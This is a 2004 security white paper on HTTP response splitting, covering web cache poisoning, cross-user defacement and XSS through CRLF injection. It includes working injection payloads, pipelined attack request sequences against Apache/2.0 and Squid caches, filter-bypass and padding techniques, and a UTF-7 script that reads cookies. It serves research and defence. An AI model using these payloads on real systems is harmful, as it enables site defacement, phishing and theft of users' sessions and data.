



“Divide and Conquer”

HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics

White Paper

Amit Klein, Director of Security and Research

Sanctum, Inc.

March, 2004

Sanctum, the Sanctum logo, AppShield, AppScan, AppScan DE, Policy Recognition and Adaptive Reduction are trademarks of Sanctum, Inc. Products mentioned herein are for identification purposes only and may be registered trademarks of their respective companies. Specification subject to change without notice. ©2004 Sanctum, Inc. All rights reserved.

Table of Contents

Abstract.....	3
Introduction to HTTP Response Splitting.....	3
Use Cases for Web Cache Poisoning.....	5
The Basic Technique of HTTP Response Splitting.....	6
Practical Considerations – The Web Server Mount Point.....	8
Determining Where The second Response Message Starts.....	12
Cache Poisoning– Practical Considerations.....	13
Cache Poisoning with Apache/2.0 – Practical Considerations.....	14
Cache Poisoning with Squid 2.4 - Practical Considerations.....	15
Cache Poisoning and Cross Site Scripting with Internet Explorer 6.0 SP1 - Practical Considerations.....	17
Other Indirect Web Cache Poisoning Attacks.....	20
Cross User Attacks – The Theory.....	21
Hijacking a Page (HTTP response) with User Sensitive Information.....	21
Other Practical Aspects.....	22
HTTP Response Splitting Vulnerability in the Wild.....	24
Research By Products.....	24
Recommendations.....	27
Conclusions.....	28
Related work.....	29
References.....	29
Appendix - Lab Environment.....	30

Abstract

“HTTP Response Splitting” is a new application attack technique which enables various new attacks such as web cache poisoning, cross user defacement, hijacking pages with sensitive user information and an old favorite, cross-site scripting (XSS). This attack technique, and the derived attacks from it, are relevant to most web environments and is the result of the application’s failure to reject illegal user input, in this case, input containing malicious or unexpected characters.

Cross user defacement enables the attacker to forge a page that is sent to the victim. It can be looked at as a very localized and temporary kind of defacement, which affects one user at a time. *Web cache poisoning* elevates that defacement into a permanent effect on a more global scope by forging a cached page in a cache server shared among a multitude of site users. *Hijacking pages with sensitive user information* lets the attacker gain access to user specific information provided by the server such as health records or financial data. *Cross-site scripting* enables the attacker to steal other client’s credentials that are then used in conjunction with the vulnerable site. HTTP response splitting, and the derived attacks, are relevant to most web environments including Microsoft ASP, ASP.NET, IBM WebSphere, BEA WebLogic, Jakarta Tomcat, Macromedia ColdFusion/MX, Sun Microsystems SunONE; popular cache servers such as Squid and Apache; and popular browsers such as Microsoft IE 6.0

The HTTP response splitting vulnerability is the result of the application’s failure to reject illegal user input. Specifically, input containing malicious or unexpected CR and LF characters.

This paper will describe the concept of the attack and provide some use cases. We will include a description of the basic technique and practical considerations of various aspects of the attack and some theoretic results in one case. Finally, we comment on evidence of the vulnerability in the wild, some research byproducts, recommendations, conclusions, related work and references. The full list of products we experimented with is provided in the appendix.

Introduction to HTTP Response Splitting

In the HTTP Response Splitting attack, there are always 3 parties (at least) involved:

- *Web server*, which has a security hole enabling HTTP Response Splitting
- *Target* - an entity that interacts with the web server perhaps on behalf of the attacker. Typically this is a cache server (forward/reverse proxy), or a browser (possibly with a browser cache).
- *Attacker* – initiates the attack

The essence of HTTP Response Splitting is the attacker’s ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. The first response may be partially controlled by the attacker, but this is

less important. What is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. Once this is possible, the attacker realizes the attack by sending two requests through the target. The first one invokes two responses from the web server, and the second request would typically be to some “innocent” resource on the web server. However, the second request would be matched, by the target, to the second HTTP response, which is fully controlled by the attacker. The attacker, therefore, tricks the target into believing that a particular resource on the web server (designated by the second request) is the server’s HTTP response (server content), while it is in fact some data, which is forged by the attacker through the web server – this is the second response.

With this mechanism, it is possible to mount various kinds of attacks:

- *Cross-Site Scripting (XSS)*: Until now, it has been impossible to mount XSS attacks on sites through a redirection script when the clients use IE unless the Location header can be fully controlled. With HTTP Response Splitting, it is possible to mount a XSS attack even if the Location header is only partially controlled by the attacker.
- *Web Cache Poisoning (defacement)*: This is a new attack. The attacker simply forces the target (i.e. a cache server of some sort) to cache the second response in response to the second request. An example is to send a second request to “http://web.site/index.html”, and force the target (cache server) to cache the second response that is fully controlled by the attacker. This is effectively a defacement of the web site, at least as experienced by other clients, who use the same cache server. Of course, in addition to defacement, an attacker can steal session cookies, or “fix” them to a predetermined value.
- *Cross User attacks (single user, single page, temporary defacement)*: As a variant of the attack, it is possible for the attacker not to send the second request. This seems odd at first, but the idea is that in some cases, the target may share the same TCP connection with the server, among several users (this is the case with some cache servers). The next user to send a request to the web server through the target will be served by the target with the second response the attacker generated. The net result is having a client of the web site being served with a resource that was crafted by the attacker. This enables the attacker to “deface” the site for a single page requested by a single user (a local, temporary defacement). Much like the previous item, in addition to defacement, the attacker can steal session cookies and/or set them.
- *Hijacking pages with user-specific information*: With this attack, it is possible for the attacker to receive the server response to a user request instead of the user. Therefore, the attacker gains access to user specific information that may be sensitive and confidential.
- *Browser cache poisoning*: This is a special case of “Web Cache Poisoning”. It is somewhat similar to XSS in the sense that in both the attacker needs to

target individual clients. However, unlike XSS, it has a long lasting effect because the spoofed resource remains in the browser's cache.

Use Cases for Web Cache Poisoning

As noted above, in Web cache poisoning, it is possible to poison the cache in three entities: in a cache residing in site (typically a reverse proxy), in a 3rd party (typically forward proxy) cache server (e.g. at an ISP), and at the browser cache. All the technical details that enable these Web Cache Poisoning use cases are explained further below.

Use case #1 – poisoning the reverse proxy cache: e-graffiti

The attacker in this case is interested at brutally defacing the web site. For this end, the attacker poisons the main page of the application. Every client of the site is immediately impacted. This is a classic defacement. In this use case, the attack is likely to be found and removed pretty quickly, and since the cache server is owned by the site, it may be possible to obtain some forensics information.

Use case #2 – poisoning an intermediate cache server: *next generation phishing*

Phishing is an attack type wherein a site's customer is lured into compromising account data by displaying to him/her a site visually identical to the original site. The fake web site resides on the attacker's server and collects login information, etc. Obviously, an attacker who is able to deface the original site can also make much more subtle changes as well including directing the login form action to his/her own site, thereby making the phishing attack even more potent and extensive. This is unlike the classic phishing that targets users via emails, with defacement, users approach the sites just like they're used to, with the added benefit of reduced suspicion level from the victims.

An advanced attacker can take advantage of the unique characteristics of web defacement when carried out using HTTP response splitting. The attacker replaces the main/login application page, as cached in the cache server, with his/her own page, visually identical to the original page but logically different, so that it can send the login credentials to the attacker's site to be collected. After a short time, the attacker restores the original application page in the cache server.

Since the intermediate cache server is not owned by the attacked web site (it may even be out of the country – e.g. to target an American website the attacker can poison the cache proxy server of a British ISP), forensics becomes a problem, and tracking down the attacker is much harder than a conventional defacement/phishing attack. It is not easy to discover which cache is poisoned and much confusion is expected, since most users who have not passed through the poisoned proxy server, will not experience any change in the site's behavior), and by the time the attack is discovered, the attacker likely has already covered up his/her trails. Typically, this type of attack lasts a very short period such as seconds or minutes.

Use case #3 – poisoning a browser cache: *a sting operation*

An attacker may decide to target a particular user. For example, stealing credentials from a wealthy person. In this case, the particular characteristics of the attack make it extremely hard to detect. To begin with, unlike cross-site scripting, the poisoned page remains in the cache awaiting the victim to load it. The victim may not be logged in at all when the attack takes place. And the attack works even if JavaScript is disabled at the victim's browser.

Much like use case #2, the attacker can cover his/her tracks. Unlike use case #2, the attack is noticeable only by the single targeted victim.

The Basic Technique of HTTP Response Splitting

HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. This typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds user data in a cookie value or name when the response sets a cookie.

In the first case, the redirection URL is part of the Location HTTP response header, and in the second cookie setting case, the cookie name/value is part of the Set-Cookie HTTP response header.

For example, consider the following JSP page (let's assume it is located in /redi r_l ang. j sp):

```
<%
    response.sendRedirect("/by_l ang. j sp?l ang=" +
        request.getParameter("l ang"));
%>
```

When invoking /redi r_l ang. j sp with a parameter l ang=Engl i sh, it will redirect to /by_l ang. j sp?l ang=Engl i sh. A typical response is as follows: (the web server is BEA WebLogic 8.1 SP1 – see section “Lab Environment” for exact details for this server, and for other products mentioned hereinafter):

```
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_l ang. j sp?l ang=Engl i sh
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIO NID=1pMRZ0i 0QzZi E6Y6i i vsREg82pq9Bo1ape7h4YoHZ62RXj ApqwB
E! -1251019693; path=/
Connecti on: Cl ose
```

```
<html ><head><ti tle>302 Moved Temporarily</ti tle></head>
<body b gcol or="#FFFFFF" >
<p>Thi s document you requested has moved temporarily. </p>
<p>It's now at <a
href="http://10.1.1.1/by_l ang. j sp?l ang=Engl i sh">http://10.1.1.
1/by_l ang. j sp?l ang=Engl i sh</a>. </p>
</body></html >
```

As can be seen, the lang parameter is embedded in the Location response header. Now, we move on to mounting an HTTP Response Splitting attack. Instead of sending the value English, we send a value, which makes use of URL-encoded CRLF sequences to terminate the current response, and shape an additional one. Here is how this is done:

```
/redirect_lang.jsp?lang=foobar%0d%0aContent-  
Length: %200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-  
Type: %20text/html%0d%0aContent-  
Length: %2019%0d%0a%0d%0a<html>Shazam</html>
```

This results in the following output stream, sent by the web server over the TCP connection:

```
HTTP/1.1 302 Moved Temporarily  
Date: Wed, 24 Dec 2003 15:26:41 GMT  
Location: http://10.1.1.1/by_lang.jsp?lang=foobar  
Content-Length: 0  
  
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 19  
  
<html>Shazam</html>  
Server: WebLogic XML Module 8.1 SP1 Fri Jun 20 23:06:40 PDT  
2003 271009 with  
Content-Type: text/html  
Set-Cookie:  
JSESSIONID=1pwxbgHwzealIFyaksxqsq92Z0VULcQUcAanfK7l n7l yrCST9Us  
S!-1251019693; path=/  
Connection: Close  
  
<html><head><title>302 Moved Temporarily</title></head>  
<body bgcolor="#FFFFFF">  
<p>This document you requested has moved temporarily.</p>  
<p>It's now at <a  
href="http://10.1.1.1/by_lang.jsp?lang=foobar  
Content-Length: 0  
  
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 19  
  
&lt;html>Shazam</html>">http://10.1.1.1/by_lang.jsp?  
lang=foobar  
Content-Length: 0  
  
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 19  
  
&lt;html>Shazam</html></a>.</p>  
</body></html>
```

Explanation: this TCP stream will be parsed by the target as follows:

1. A first HTTP response, which is a 302 (redirection) response. This response is colored blue.
2. A second HTTP response, which is a 200 response, with a content comprising of 19 bytes of HTML. This response is colored red.

3. Superfluous data - everything beyond the end of the second response is superfluous, and does not conform to the HTTP standard.

So when the attacker feeds the target with two requests, the first being to the URL

```
/redirect.asp?lang=foobar%0d%0aContent-  
Length: %200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-  
Type: %20text/html%0d%0aContent-  
Length: %2019%0d%0a%0d%0a<html>Shazam</html>
```

And the second to the URL

```
/index.html
```

The target would believe that the first request is matched to the first response:

```
HTTP/1.1 302 Moved Temporarily  
Date: Wed, 24 Dec 2003 15:26:41 GMT  
Location: http://10.1.1.1/by_redirect.asp?lang=foobar  
Content-Length: 0
```

And that the second request (to /index.html) is matched to the second response:

```
HTTP/1.1 200 OK  
Content-Type: text/html  
Content-Length: 19  
  
<html>Shazam</html>
```

And by this, the attacker manages to fool the target.

Now, this particular example is quite naïve, as will be explained below. It doesn't take into account some problems with how targets parse the TCP stream, issues with the superfluous data, problems with the data injection, and how to force caching. This (and more) will be discussed below, under the "practical consideration" sections.

Practical Considerations – The Web Server Mount Point

As noted above the attack can take place whenever the web server script embeds un-sanitized user data in an HTTP response header. This happens typically when redirecting. Note, many sites use parameters as part of the redirection URL. In most cases, the complete URL for redirection is a parameter for the script, but it might also be setting cookies. These are, by no means, the only two ways of embedding user data in HTTP response headers. In fact, many application engines offer a rich API for shaping the HTTP response headers, from the generic `addHeader` method to very specific `ContentType` and `CacheControl` properties. In theory, each access to the HTTP response (usually through an instant of a special class e.g. J2EE's `javax.servlet.http.HttpServletResponse` or ASP.NET's `System.Web.HttpResponse`), when used with un-sanitized user data, is a potential mount point for the attack. However, in practice, not all methods are indeed susceptible. Some methods in application engines, for example, strip down CR/LFs, or throw an exception upon detecting them, or URL-encode them.

Embedding user data in a redirection is successful in:

- Microsoft ASP
- Microsoft ASP.NET 1.0
- IBM WebSphere 5.0.0
- IBM WebSphere 5.1
- BEA WebLogic 8.1 SP1
- Jakarta Tomcat 4.1.24
- Macromedia ColdFusion MX/6.0
- Macromedia ColdFusion MX/6.1
- Sun Microsystems SunONE Web Server 6.1 (iPlanet 6.1)

Embedding user data in a cookie is successful in:

- Microsoft ASP.NET 1.0
- Microsoft ASP.NET 1.1
- IBM WebSphere 5.0.0
- IBM WebSphere 5.1
- BEA WebLogic 8.1 SP1

It should be noted that in redirection responses, some application engines (e.g. ASP) URL-encode the path part of the redirection URL. Therefore, in such cases, in order for the attack to succeed, the query section of the URL must be used. If the user data is embedded in the path of the redirection URL, it is easy to generate a query, simply by adding a question mark before the attack string.

Let's assume that another script, `/redir_lang_in_path.jsp`, embeds the `lang` parameter in the path component of the URL (e.g. `/index_lang.html`). Then sending the `lang` value from the above example would not work -at least in ASP. However, sending the following value would:

```
/redir_lang_in_path.jsp?lang=?foobar%0d%0aContent-  
Length: %200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aContent-  
Type: %20text/html%0d%0aContent-  
Length: %2019%0d%0a%0d%0a<html>Shazam</html>
```

Error handlers

Error handlers are another vulnerable point for HTTP errors. In IIS/5.0, for example, it is possible to configure a customized script to handle HTTP errors. This is done by defining a URL on the server that will handle the error instead of having the server return the default error page. For example, when a "resource not found" (HTTP status 404) occurs for a user requested resource, IIS/5.0 will either invoke the script directly if the resource is a static one, (e.g. an HTML page), or will send a redirection response to the user, if the resource is a dynamic one (e.g. an ASP page). Therefore, requesting a non-existing ASP page will result in an HTTP redirection (302) response containing the path in the `Location` header. As such, it is vulnerable to HTTP response splitting. Note, this was verified with IIS/5.0. The attacker needs to embed the HTTP response splitting payload in the path, and suffix it with `.asp` extension for the attack to work.

Defeating a character based input filter

Another problem one may face is that some application engines may alter the user data according to the characters they find in it. Non-ASCII characters may provoke such behavior. For example, ASP.NET 1.0/1.1 attempts to interpret the data as UTF-8 encoded, silently discarding sequences that are not valid in UTF-8, and several application engines terminate strings after a null byte is encountered. In some cases, even ASCII characters may be problematic. For example, ASP.NET 1.1 will disallow the character "<" followed by an alphanumeric character.

An HTTP Response Splitting attack typically needs only ASCII characters for the HTTP header shaping which do not include any problematic characters as defined by application engines. Particularly, the characters needed are A-Z, 0-9, forward slash ("/"), colon (":"), CR, LF, SP, hyphen ("-"), question mark ("?"), dot ("."), and as we'll later see, comma (","), equal sign ("="), and semicolon (";").

Therefore, the problem is only with the response body. However, considering that the response body will eventually be rendered by IE, the attacker can use a nice trick to encode the content body in a way that when used in the attack, will not trigger any character modification/error by the application engine.

Therefore, the attacker simply needs to encode the body in UTF-7 (RFC 2152 - [1]). This encoding method can be used to encode any Unicode symbol as a sequence of characters from the set A-Z, a-z, 0-9, forward slash ("/"), hyphen ("-") and plus sign (+).

To indicate that the body is UTF-7 encoded, the attacker needs to add a charset field to the Content-Type response header:

```
Content-Type: text/html ; charset=utf-7
```

Hence the need for an equal sign and semicolon in the HTTP response character set.

Since IE renders the UTF-7 body just as well, the attack will succeed as long as IE is eventually used to view the body.

UTF-7 example (in this case, we only bothered hiding the < and > symbols):

```
...
Content-Type: text/html ; charset=utf-7
...
+ADw-html +AD4-+ADw-body+AD4-+ADw-scri pt+AD4-
al ert(' XSS, cooki es: ' +-document. cooki e)+ADw-/scri pt+AD4-+ADw-
/body+AD4-+ADw-/html +AD4-
```

This represents the following body:

```
<html ><body><scri pt>al ert(' XSS, cooki es: ' +document. cooki e)</scr
ipt></body></html >
```

Minimizing the request URL length

In some cases, notably with Squid, there is the desire for a big response due to a need of padding, as we'll later see. Implementing an HTTP response splitting attack simply by sending large parameters in the request URL (if the normal request is an HTTP GET request) may cause the request to have a very long URL and be problematic with some targets and/or intermediate devices, as these may reject requests with overlong URL.

Of course, if the request that causes the HTTP response splitting condition is an HTTP POST request, then this is not a problem. In a typical HTTP POST request, the user parameters are sent in the request body, and the body length is not restricted -at least, not in a way that hinders the attack.

If the expected request is an HTTP GET request, there are two ways to overcome this problem:

- In most engines it's possible to send an HTTP POST request instead. In all JSP engines, the parameters are fetched via the `getParameter` method of the request object, which does not distinguish between a GET request and a POST request. In ASP.NET, it is possible to access the parameter via a control object (in which case, there is no distinction between a GET request or a POST request), or through the `QueryString` or `Form` collections (the former is used for GET requests, and the latter for POST requests). In ASP, only the `QueryString` and the `Form` collections are available, and in ColdFusion there's a similar situation (the `URL` scope and the `Form` scope, respectively).
- If the first way is not applicable: in case of a redirection, there are some factors that come in handy:
 1. Some servers (e.g. WebLogic 8.1 SP1, ASP.NET 1.0) embed the URL both in the `Location` header, and in the response body. In this case, the optimal URL would be constructed so that its second embedding is the one that causes the desired effect. This takes advantage of the fact that the input is embedded twice to get a factor of 2× (each character of the request URL causes the response to contain two padding bytes).
 2. In the case mentioned in #1, it is also possible to "inflate" the output stream by sending characters that are HTML encoded by the server. For example, when sending a raw double quote (") it gets HTML-encoded in the response body, into `"` (6 bytes) by WebLogic 8.1 SP1. This obtains an inflation factor of 6×.
 3. In either case, it may be possible to send, in the request URL, high ASCII characters, in their raw form (single byte). ASP.NET 1.0, for example, will encode those characters if they form a valid UTF-8 sequence. So sending `\xC2\x80` (2 bytes – the UTF-8 representation of Unicode `u+0100` symbol) to

ASP.NET will get us back %C2%80 (6 bytes) in the response. This obtains an inflation factor of 3×.

4. A variant of #3 is to send a single high ASCII character and get via the redirection URL two bytes which represent the UTF-8 format for that character, which is interpreted as a Unicode symbol in the range u+0000 ... u+00FF. This happens in SunONE 6.1. By sending the raw character \xFF (which is interpreted as u+00FF by SunONE), SunONE will embed in the redirection URL two bytes - \xC3 followed by \xBF (the UTF-8 representation of u+00FF). This achieves a factor of 2×.
5. If the embedding is such that the path of the redirection before the query can be injected, then using “+” which is translated first into a space by the engine, and then encoded in the redirection path as %20 (3 bytes) obtains an inflation factor of 3×. This is applicable to ASP and ASP.NET 1.0.

In short, we see that in WebLogic 8.1 SP1 we can get an inflation factor of 7× the original user data in the Location header, since this data is embedded in a way that takes 6 times its length in the body; and in ASP.NET 1.0 we can get a factor of 6× over the user data length, in a redirection scenario (the original user data is replicated twice – into the Location header, and into the body. Each copy is three times longer than the original user data). If the redirection path can be injected, then with ASP we can get a factor of 3×. Finally, in SunONE 6.1, we can get a factor of 2×.

Most of the above techniques also work for ASP.NET 1.1. However, since HTTP response splitting does not work with redirection on this platform, it is irrelevant in this case.

In other scenarios, these or similar tricks may be used to force a large response with a relatively small request URL. If the user data is embedded both in the HTTP headers and once or more in the body, then the same idea as #1 can be used.

Note that these methods may interfere with the methods to bypass character filters. However, in the cases presented, we did not encounter any problem with existing servers.

Determining Where The second Response Message Starts

Of great importance for the success of this attack is that the target (cache server or browser) understands that two HTTP responses are served. Naïvely, one would assume that the above sections demonstrate that this is straightforward. However, in reality, the success of the attack depends on some behavior displayed by the cache targets, namely, the way they interpret the response stream.

There are, apparently, several models for interpreting the response stream, in regards to understanding when a first message ends and a second one starts. We list three such models in which we were successful in mounting the attack:

- The *message boundary* approach – the second message is assumed to start exactly where the first message ended. With this approach, the straightforward attack above does work. Apache/2.0 is an example for a proxy cache server that takes this approach.
- The *buffer boundary* approach – the first message is read in chunks of predetermined length (i.e. the target reads the data into a buffer, iteratively). After processing the first message, the chunks are discarded including the last chunk, which may have contained data logically not part of the first response. With this approach, the above attack usually fails, because it assumes that the target cache uses a message boundary approach. In order to make the attack work, the attacker needs to pad the payload so that the first response length is an integral multiplicity of the chunk (buffer) length. IE 6.0 SP1 is an example for a target that uses a buffer boundary approach. IE's buffer contains 1024 bytes.
- The *packet boundary* approach – messages are read in packets. The target ignores the remains of the last packet of the first message. The next packet is assumed to start the second message. Note, this is subject to timing, so further packets may be ignored until the target processes the second request. Squid 2.4 is an example of a target that uses a packet boundary approach. It appears that Squid 2.4 also ignores packets until the second request is processed.

Even if the target takes a packet boundary approach, or some other unlisted approach, which may be sensitive to timing, it should be kept in mind that there is always a possibility (sometimes verges on theoretic) to succeed in the attack. This is because it's always possible for the responses to be physically split into packets such that the packets containing the second response arrive to the target after the second request is processed. This may happen if the server is busy. The attacker can improve the probability of this event by making sure that the second response is sent in a new packet, which can be done by padding the first response to a packet boundary.

Cache Poisoning– Practical Considerations

The Last-Modified HTTP response header, and cacheable resources

The Last-Modified HTTP response header should be sent in the poisoned response that is cached, designating a future date. This will enable caching in most cache servers. Without a Last-Modified or ETag response headers, the resource is usually not cached. Also, since the browser sends an If-Modified-Since request header together with requests for resources already in its own cache, in order to poison the browser cache when the browser works directly with the origin server (the requests with Last-Modified arrive directly at the server), the attacker must ensure that the server responds with an HTTP status 304 (unmodified). This will happen if the server has a cacheable resource by that name, and the modification date of the poisoned resource is at least as recent as the modification date.

In this scenario, the attacker also needs the original resource to exist and to be cacheable so as not to prevent the server from sending a “304” response. Note, when performing a web cache poisoning attack on a cache server, it is possible to poison a non-existing resource. This may constrain the resource to be static (i.e. not dynamically generated).

The situation is easier with poisoning cache servers. These do not forward regular browser requests to the server unless explicitly instructed by the browser (e.g. by the latter sending `Cache-Control: no-cache` and/or `Pragma: no-cache`, which invalidate the current cache entry in the cache server), or unless the resource expiration time has passed, or that in general some time has elapsed (see below). Note that many cache servers do not forward requests to the web server if they have the resource cached, even if the request contains `If-Modified-Since` (with a date later than the cached resource’s `Last-Modified`) or `If-None-Match` with values that do not match the cached resource’s ETag). This somewhat simplifies the attack, since the attacker doesn’t have to be worried about conforming to the original resource’s values, and about cached values (of an original resource, or of a later version thereof) in browsers (which may generate requests with `If-Modified-Since` and ETag with values that are unknown at the time of the attack).

Maintaining the poisoned resource in the cache

Some proxy servers (e.g. Apache/2.0) refresh their cache from time to time by forwarding the request directly to the server. In this case, it is likely that the poisoned entry will be invalidated. Therefore, it may be necessary for the attacker to keep sending the cache poisoning attack every few minutes, so that the cache is reloaded with a poisoned resource. This behavior was not observed with Squid, although it may happen over longer intervals – e.g. hours.

Cache Poisoning with Apache/2.0 – Practical Considerations

Apache/2.0 (`mod_proxy+mod_cache`) is the easiest target for cache poisoning, due to its logical message boundary approach. Also, Apache/2.0 supports pipelining, which makes it quite convenient for the attacker to mount the attack. It should be noted that the attack works well both with forward proxy mode and with reverse proxy mode.

The attack consists of sending Apache three messages that are pipelined, for convenience. The first message is used simply to force cache invalidation of the resource. The second message invokes the HTTP response splitting, and Apache matches the third message to the second HTTP response sent by the server in response to the second message.

Invalidating a cache resource in the first request is done by sending `Pragma: no-cache` as one of the request headers.

One shortcoming, from the attacker’s point of view, of Apache/2.0 is that it does not cache resources whose URL ends with “/”. Therefore, it’s impossible to poison something like `http://www.vuln.site/`, but it is possible to poison `http://www.vuln.site/index.html`. Note that oftentimes, the first page of the website

redirects to another, and/or uses frames, so that it is possible to deface the “homepage” of the site nonetheless.

As explained above, the attacker needs to define an HTTP response header for the spoofed resource named “Last-Modified”, and to set it to a future date. Here is an example of a full attack It assumes Apache/2.0 as a forward proxy cache, and the above vulnerable site and script (the below 3 requests should be sent on the same TCP connection, as quickly as possible). The attack assumes that the server is at 10.1.1.1.

```
GET http://10.1.1.1/index.html HTTP/1.1
Pragma: no-cache
Host: 10.1.1.1
User-Agent: Mozilla/4.7 [en] (Windows; I)
Accept: image/gif, image/x-bitmap, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8
```

```
GET http://10.1.1.1/redirect_lang.jsp?lang=%0d%0aContent-
Length: %20%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aLast-
Modified: %20Mon, %2027%20Oct%202003%2014: 50: 18%20GMT%0d%0aConte
nt-Length: %2020%0d%0aContent-
Type: %20text/html %0d%0a%0d%0a<html>Gotcha! </html> HTTP/1.1
Host: 10.1.1.1
User-Agent: Mozilla/4.7 [en] (Windows; I)
Accept: image/gif, image/x-bitmap, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8
```

```
GET http://10.1.1.1/index.html HTTP/1.1
Host: 10.1.1.1
User-Agent: Mozilla/4.7 [en] (Windows; I)
Accept: image/gif, image/x-bitmap, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8
```

Cache Poisoning with Squid 2.4 - Practical Considerations

Squid 2.4 has the most complicated poisoning scheme although, it is possible to poison Squid, because it takes less Ethernet packets to achieve the splitting condition. There are some things to be aware of:

1. Squid supports pipelining which helps the attack
2. Squid may open up to two TCP connections with the server per a single client connection.
3. Squid, as mentioned above, takes the packet boundary approach when determining where the next request starts. This is combined with some timing constraints. Squid, most likely, silently discards server packets sent after the first message arrived, and before the second request is processed.

4. Squid does not cache responses which contain more characters in the last packet than are expected as part of the logical message
5. Squid has a URL length restriction (4096 bytes).
6. Squid uses Cache-Control : no-cache to invalidate the previous cache entry and load a fresh value into it.

Given all this, poisoning Squid is complicated, and may require several attempts although there's a statistical probability to succeed in a single event.

In a Squid attack, we send three pipelined requests (see #1). Unlike with Apache, these three requests are two HTTP response splitting requests, and a third request to the desired resource. We need two HTTP response splitting requests due to the following unexplained empirical result: in order to succeed, the first request must generate a server response spanning at least 3 packets, and with the last packet completely accommodated by superfluous data. This first request is sent over a TCP connection to the server, and the second and third request is sent over a second TCP connection (see #2). Now, the HTTP response splitting actually happens in the 2nd response. That response must be on a packet boundary (see #3), so we may need to use some padding. Also, the second response should cover all "superfluous" data that may have been added by the server after the user data, or else Squid won't cache the resource (see #4). We must make sure that the HTTP response splitting URL, after the padding, is not longer than 4096 bytes (see #5), possibly using the URL length reduction techniques described earlier. Finally, the third request should use the HTTP response header Cache-Control : no-cache to force refreshing Squid's cache with the spoofed resource (see #6).

After each attack attempt, we need to check whether Squid was successfully poisoned by requesting the resource we attempted to poison. When the attempt is unsuccessful, it means that Squid rejected our attempt, and cached the correct server request. In such case, we need to try again. When we succeed, we need to stop the attack, or else a failed attempt may refresh the cache with the original value.

In our lab, the effective packet size (Ethernet) between the Linux 2.4 target and the Windows/2000 server is 1448 bytes (1514 bytes gross Ethernet frame, minus 14 bytes Ethernet header, minus 18 bytes IP header, minus 18 bytes TCP header, minus 12 bytes TCP options – 2 NOPs and a timestamp). In our experiments, we found that the padding we need for the first HTTP response splitting request is twice this size – i.e. we need to pad to 2896 byte boundary.

The HTTP response splitting attack is therefore:

```
GET http://10.1.1.1/redirect_lang.jsp?lang=ddd%0d%0aContent-
Length:%20%0d%0a%0d%0aAAAAAA
...[pad so that the response is 2896 bytes, and add 1 byte]...
AAAAA HTTP/1.0
```

```

Host: 10.1.1.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8
Connection: Keep-alive

GET http://10.1.1.1/redirect_lang.jsp?lang=foobar%0d%0aContent-
Length: %00%0d%0a%0d%0aAAAAAAAAAAAAAA
... [pad so that the response is 2896 bytes]...
AAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aLast-
Modified: %20Wed, %2012%20Nov%202003%2008: 09: 49%20GMT%0d%0aContent-
Length: %20306%0d%0aContent-
Type: %20text/html %0d%0a%0d%0a<html >gotcha! </html > HTTP/1.0
Host: 10.1.1.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8
Connection: Keep-alive

GET http://10.1.1.1/index.html HTTP/1.0
Host: 10.1.1.1
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1, *, utf-8
Connection: Keep-alive
Cache-Control: no-cache

```

Our experiments show that a single attempt succeeds in about half the tests. So with few attempts, Squid will be poisoned. Note that unlike Apache, it is possible in Squid to poison resources ending with “/”. However, we were not successful in poisoning the main page of a website (i.e. with the path element consists of a single “/”). This is probably a problem in our test.

Cache Poisoning and Cross Site Scripting with Internet Explorer 6.0 SP1 - Practical Considerations

As noted above, IE 6.0 SP1 takes the buffer boundary approach with a buffer size of 1024 bytes. This means that IE will read the first response in chunks of 1024 bytes. The second response should start at a 1024 byte boundary. This may require padding. Another problem with IE is that it may use up to 4 TCP connections to retrieve data from the server. This means that when IE sends two requests, there’s no certainty that these will be sent over the same TCP connection.

We need, therefore, to find a way to force IE to send many requests rapidly to the server, in hope that two requests of our choice will be sent on the same TCP connection.

It is important to force IE to send requests “quickly” due to a race condition that may occur between the following events:

1. Fully reading the response, thus enabling the next request on this TCP connection, and sending the next queued request
2. Redirecting to the new location in a redirection scenario
3. Receiving a TCP FIN from the server (in some cases). Usually, the TCP connection is not terminated by the server. However, we encountered this scenario when ASP.NET was configured to catch exceptions in Global.ASAX Application_Error interface, which was implemented as a redirection

For the attack to succeed, the events must happen exactly in the order depicted above i.e. reading the full response and sending the next queued request must occur before the redirection request is sent on the same connection, and before the TCP connection is terminated (if it is to be terminated).

In addition, there is the problem of IE sending requests up to 4 TCP connections. This means that even if the current TCP connection is available, there's no guarantee that it will actually be used.

Another consideration is cookies. If this is the first request to the site, then a cookie is likely to be sent from the server via the Set-Cookie HTTP response header. This will increase the response byte count, and will thus interfere with the careful padding we need for the attack. Therefore, the first several responses may not be fruitful.

